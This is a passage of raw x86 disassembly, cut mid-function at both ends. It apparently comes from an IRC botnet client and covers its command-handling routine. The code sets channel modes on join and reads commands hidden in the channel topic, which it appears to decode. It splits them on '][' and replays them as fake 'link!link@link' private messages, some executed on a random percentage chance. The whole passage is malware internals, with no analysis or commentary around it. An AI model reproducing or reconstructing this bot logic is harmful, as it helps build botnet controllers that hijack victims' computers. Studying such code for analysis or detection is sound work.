		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40DCE5:				; CODE XREF: sub_40D871+445j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DCFD:				; CODE XREF: sub_40D871+2D0j
		push	offset aError	; "ERROR"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD25
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD25:				; CODE XREF: sub_40D871+49Fj
		push	offset aJoin	; "JOIN"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40DD97
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_40DD74
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		mov	[ebp+var_7E8], eax
		jmp	short loc_40DD80
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40D871+4F2j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_7E8], eax


loc_40DD80:				; CODE XREF: sub_40D871+501j
		push	[ebp+var_7E8]
		push	offset aModeSSmntu ; "MODE %s +smntu"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DD97:				; CODE XREF: sub_40D871+4C8j
					; sub_40D871+4DBj ...
		push	offset a001	; "001"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DE70
		push	21h
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_4B4]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset dword_41ED48
		push	offset dword_41DAB4
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40DE58
		lea	eax, [ebp+var_490]
		push	eax
		call	sub_4041B7
		pop	ecx
		test	eax, eax
		jz	short loc_40DE43
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_40DE56
; ---------------------------------------------------------------------------


loc_40DE43:				; CODE XREF: sub_40D871+5BBj
		lea	eax, [ebp+var_490]
		push	eax
		push	offset dword_41EF48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DE56:				; CODE XREF: sub_40D871+5D0j
		jmp	short loc_40DE6B
; ---------------------------------------------------------------------------


loc_40DE58:				; CODE XREF: sub_40D871+5AAj
		lea	eax, [ebp+var_4B4]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx


loc_40DE6B:				; CODE XREF: sub_40D871:loc_40DE56j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE70:				; CODE XREF: sub_40D871+53Aj
		push	offset a451	; "451"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DE96
		push	0
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DE96:				; CODE XREF: sub_40D871+613j
		push	offset a302	; "302"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40DF3E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40DEBE
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEBE:				; CODE XREF: sub_40D871+646j
		push	offset a@	; "@"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416BA8	; strstr
		pop	ecx
		pop	ecx
		mov	[ebp+var_5B8], eax
		cmp	[ebp+var_5B8], 0
		jnz	short loc_40DEE4
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DEE4:				; CODE XREF: sub_40D871+66Cj
		push	100h
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		push	offset dword_41EF48
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_5B4]
		push	eax
		mov	eax, [ebp+var_5B8]
		inc	eax
		push	eax
		call	sub_404612
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jnz	short loc_40DF20
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF20:				; CODE XREF: sub_40D871+6A8j
		push	100h
		lea	eax, [ebp+var_5B4]
		push	eax
		push	offset dword_41EF48
		call	sub_407A56
		add	esp, 0Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF3E:				; CODE XREF: sub_40D871+639j
		push	offset aNick	; "NICK"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF8E
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40DF62
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF62:				; CODE XREF: sub_40D871+6EAj
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40DF89
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		inc	eax
		push	eax
		push	offset byte_41EE48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40DF89:				; CODE XREF: sub_40D871+702j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DF8E:				; CODE XREF: sub_40D871+6E1j
		push	offset a332	; "332"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E128
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_40DFBF
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_40DFC4


loc_40DFBF:				; CODE XREF: sub_40D871+73Ej
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40DFC4:				; CODE XREF: sub_40D871+74Cj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E05F
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_5BC], eax
		push	[ebp+var_5BC]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_40E04E
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		lea	eax, [eax+ecx+1]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40E05F
; ---------------------------------------------------------------------------


loc_40E04E:				; CODE XREF: sub_40D871+7BBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		mov	ecx, [ebp+var_5BC]
		and	byte ptr [eax+ecx+1], 0


loc_40E05F:				; CODE XREF: sub_40D871+760j
					; sub_40D871+7DBj
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jz	loc_40E123
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+10h]
		inc	eax
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C0], eax
		and	[ebp+var_7C8], 0


loc_40E09A:				; CODE XREF: sub_40D871+8ADj
		cmp	[ebp+var_7C0], 0
		jnz	short loc_40E0A5
		jmp	short loc_40E123
; ---------------------------------------------------------------------------


loc_40E0A5:				; CODE XREF: sub_40D871+830j
					; sub_40D871+851j
		mov	eax, [ebp+var_7C0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jz	short loc_40E0B5
		jmp	short loc_40E0C4
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40D871+840j
		mov	eax, [ebp+var_7C0]
		inc	eax
		mov	[ebp+var_7C0], eax
		jmp	short loc_40E0A5
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_40D871+842j
		push	[ebp+var_7C0]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_7BC]
		push	eax
		call	sub_40E618
		pop	ecx
		lea	eax, [ebp+var_7C4]
		push	eax
		push	offset asc_41A07C ; "]["
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_7C8], eax
		mov	eax, [ebp+var_7C8]
		mov	[ebp+var_7C0], eax
		jmp	loc_40E09A
; ---------------------------------------------------------------------------


loc_40E123:				; CODE XREF: sub_40D871+7FAj
					; sub_40D871+832j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40D871+731j
		cmp	[ebp+arg_0], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40E153
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_40E153
		push	offset byte_41EE48
		push	[ebp+arg_4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E158


loc_40E153:				; CODE XREF: sub_40D871+8BBj
					; sub_40D871+8C4j ...
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E158:				; CODE XREF: sub_40D871+8E0j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		push	offset aPrivmsg	; "PRIVMSG"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E1C0
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1AB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E1BE
; ---------------------------------------------------------------------------


loc_40E1AB:				; CODE XREF: sub_40D871+923j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		and	[ebp+var_84], 0


loc_40E1BE:				; CODE XREF: sub_40D871+938j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40D871+915j
		push	offset aNotice	; "NOTICE"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E211
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1
		jnz	short loc_40E1F9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 3
		jmp	short loc_40E20F
; ---------------------------------------------------------------------------


loc_40E1F9:				; CODE XREF: sub_40D871+971j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+8]
		mov	[ebp+var_90], eax
		mov	[ebp+var_84], 1


loc_40E20F:				; CODE XREF: sub_40D871+986j
		jmp	short loc_40E216
; ---------------------------------------------------------------------------


loc_40E211:				; CODE XREF: sub_40D871+963j
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E216:				; CODE XREF: sub_40D871:loc_40E1BEj
					; sub_40D871:loc_40E20Fj
		cmp	[ebp+var_84], 3
		jnz	loc_40E321
		mov	eax, [ebp+arg_C]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		mov	ecx, [ebp+arg_10]
		mov	[ecx+0Ch], eax
		and	[ebp+var_7CC], 0
		jmp	short loc_40E253
; ---------------------------------------------------------------------------


loc_40E246:				; CODE XREF: sub_40D871:loc_40E31Cj
		mov	eax, [ebp+var_7CC]
		inc	eax
		mov	[ebp+var_7CC], eax


loc_40E253:				; CODE XREF: sub_40D871+9D3j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_40E26B
		cmp	[ebp+var_7CC], 0Fh
		jnz	short loc_40E2B8


loc_40E26B:				; CODE XREF: sub_40D871+9EFj
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D4], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E2B6
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D4]
		mov	byte ptr [eax+ecx-1], 1


loc_40E2B6:				; CODE XREF: sub_40D871+A2Cj
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E2B8:				; CODE XREF: sub_40D871+9F8j
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_7D0], eax
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		movsx	eax, byte ptr [eax+ecx-1]
		cmp	eax, 1
		jnz	short loc_40E31C
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		mov	eax, [ebp+var_7CC]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_7D0]
		and	byte ptr [eax+ecx-1], 0
		jmp	short loc_40E321
; ---------------------------------------------------------------------------


loc_40E31C:				; CODE XREF: sub_40D871+A79j
		jmp	loc_40E246
; ---------------------------------------------------------------------------


loc_40E321:				; CODE XREF: sub_40D871+9ACj
					; sub_40D871:loc_40E2B6j ...
		push	offset byte_41EE48
		push	[ebp+var_90]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E340
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_90], eax


loc_40E340:				; CODE XREF: sub_40D871+AC4j
		push	7Ah
		push	0
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		mov	eax, [eax]
		mov	[ebp+var_88], eax
		and	[ebp+var_8C], 0
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_80], eax


loc_40E370:				; CODE XREF: sub_40D871:loc_40E3F2j
		cmp	[ebp+var_80], 3
		jnb	short loc_40E378
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E378:				; CODE XREF: sub_40D871+B03j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_40E393
		mov	eax, [ebp+var_80]
		dec	eax
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E393:				; CODE XREF: sub_40D871+B17j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-3]
		cmp	eax, 20h
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-2]
		cmp	eax, 2Dh
		jnz	short loc_40E3F0
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 7Ah
		jg	short loc_40E3F0
		mov	[ebp+var_8C], 1
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		movsx	eax, byte ptr [eax-1]
		mov	[ebp+eax+var_7C], 1
		mov	eax, [ebp+var_80]
		sub	eax, 3
		mov	[ebp+var_80], eax
		jmp	short loc_40E3F2
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_40D871+B32j
					; sub_40D871+B44j ...
		jmp	short loc_40E3F7
; ---------------------------------------------------------------------------


loc_40E3F2:				; CODE XREF: sub_40D871+B20j
					; sub_40D871+B7Dj
		jmp	loc_40E370
; ---------------------------------------------------------------------------


loc_40E3F7:				; CODE XREF: sub_40D871+B05j
					; sub_40D871:loc_40E3F0j
		cmp	[ebp+var_8C], 0
		jz	loc_40E4CC
		and	[ebp+var_7D8], 0
		jmp	short loc_40E41A
; ---------------------------------------------------------------------------


loc_40E40D:				; CODE XREF: sub_40D871:loc_40E4C7j
		mov	eax, [ebp+var_7D8]
		inc	eax
		mov	[ebp+var_7D8], eax


loc_40E41A:				; CODE XREF: sub_40D871+B9Aj
		cmp	[ebp+var_7D8], 10h
		jnb	loc_40E4CC
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_40E43B
		jmp	loc_40E4CC
; ---------------------------------------------------------------------------


loc_40E43B:				; CODE XREF: sub_40D871+BC3j
		mov	eax, [ebp+var_88]
		add	eax, [ebp+var_80]
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		cmp	[edx+ecx*4], eax
		jb	short loc_40E4C7
		cmp	[ebp+var_8C], 0
		jz	short loc_40E48F
		cmp	[ebp+var_7D8], 0
		jz	short loc_40E488
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		push	dword ptr [ecx+eax*4-4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_7D8]
		mov	edx, [ebp+arg_10]
		mov	ecx, [edx+ecx*4-4]
		and	byte ptr [ecx+eax], 0


loc_40E488:				; CODE XREF: sub_40D871+BF1j
		and	[ebp+var_8C], 0


loc_40E48F:				; CODE XREF: sub_40D871+BE8j
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+eax*4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_10]
		and	dword ptr [ecx+eax*4], 0
		mov	eax, [ebp+var_7D8]
		mov	ecx, [ebp+arg_C]
		and	dword ptr [ecx+eax*4], 0


loc_40E4C7:				; CODE XREF: sub_40D871+BDFj
		jmp	loc_40E40D
; ---------------------------------------------------------------------------


loc_40E4CC:				; CODE XREF: sub_40D871+B8Dj
					; sub_40D871+BB0j ...
		push	offset byte_41EE48
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+8]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E513
		mov	eax, [ebp+arg_10]
		add	eax, 0Ch
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E513:				; CODE XREF: sub_40D871+C6Fj
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_40E521
		jmp	loc_40E615
; ---------------------------------------------------------------------------


loc_40E521:				; CODE XREF: sub_40D871+CA9j
		and	[ebp+var_7DC], 0
		push	offset asc_41A070 ; "*"
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E54A
		mov	[ebp+var_7DC], 1
		jmp	loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E54A:				; CODE XREF: sub_40D871+CCBj
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		push	offset byte_41EE48
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E56C
		mov	[ebp+var_7DC], 1
		jmp	short loc_40E5DE
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_40D871+CF0j
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 4
		ja	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		movsx	eax, byte ptr [ecx+eax-1]
		cmp	eax, 25h
		jnz	short loc_40E5DE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx+0Ch]
		and	byte ptr [ecx+eax-1], 0
		call	sub_410422
		xor	edx, edx
		push	64h
		pop	ecx
		div	ecx
		inc	edx
		mov	[ebp+var_7E0], edx
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax+0Ch]
		call	sub_416B9C	; atoi
		pop	ecx
		cmp	eax, [ebp+var_7E0]
		jl	short loc_40E5DE
		mov	[ebp+var_7DC], 1


loc_40E5DE:				; CODE XREF: sub_40D871+CD4j
					; sub_40D871+CF9j ...
		movzx	eax, [ebp+var_7DC]
		test	eax, eax
		jz	short loc_40E615
		mov	eax, [ebp+arg_10]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_C]
		add	eax, 10h
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	[ebp+var_84]
		push	[ebp+var_90]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40A9CF
		add	esp, 1Ch


loc_40E615:				; CODE XREF: sub_40D871+31j
					; sub_40D871+4Cj ...
		pop	edi
		leave
		retn
sub_40D871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E618	proc near		; CODE XREF: sub_40C93C+A8p
					; sub_40D871+87Fp ...

var_1194	= dword	ptr -1194h
var_1190	= dword	ptr -1190h
var_118C	= byte ptr -118Ch
var_1180	= dword	ptr -1180h
var_114C	= dword	ptr -114Ch
var_1148	= dword	ptr -1148h
var_1144	= dword	ptr -1144h
var_113C	= dword	ptr -113Ch
var_1138	= dword	ptr -1138h
var_1109	= byte ptr -1109h
var_1108	= byte ptr -1108h
var_1089	= byte ptr -1089h
var_1088	= byte ptr -1088h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1194h
		call	sub_416BC0
		and	[ebp+var_4], 0
		push	10h
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1088]
		push	eax
		push	[ebp+arg_0]
		call	sub_407928
		add	esp, 14h
		push	offset a302	; "302"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40E66D
		mov	dword_41E9AC, 1
		jmp	short loc_40E674
; ---------------------------------------------------------------------------


loc_40E66D:				; CODE XREF: sub_40E618+47j
		and	dword_41E9AC, 0


loc_40E674:				; CODE XREF: sub_40E618+53j
		cmp	[ebp+var_1148],	0
		jz	short loc_40E686
		cmp	[ebp+var_1144],	0
		jnz	short loc_40E68B


loc_40E686:				; CODE XREF: sub_40E618+63j
		jmp	locret_40E941
; ---------------------------------------------------------------------------


loc_40E68B:				; CODE XREF: sub_40E618+6Cj
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40E6BB
		push	offset aNotice	; "NOTICE"
		push	[ebp+var_1144]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40E7A5


loc_40E6BB:				; CODE XREF: sub_40E618+87j
		cmp	[ebp+var_113C],	0
		jz	loc_40E7A5
		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DA5C[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		mov	eax, [ebp+var_1148]
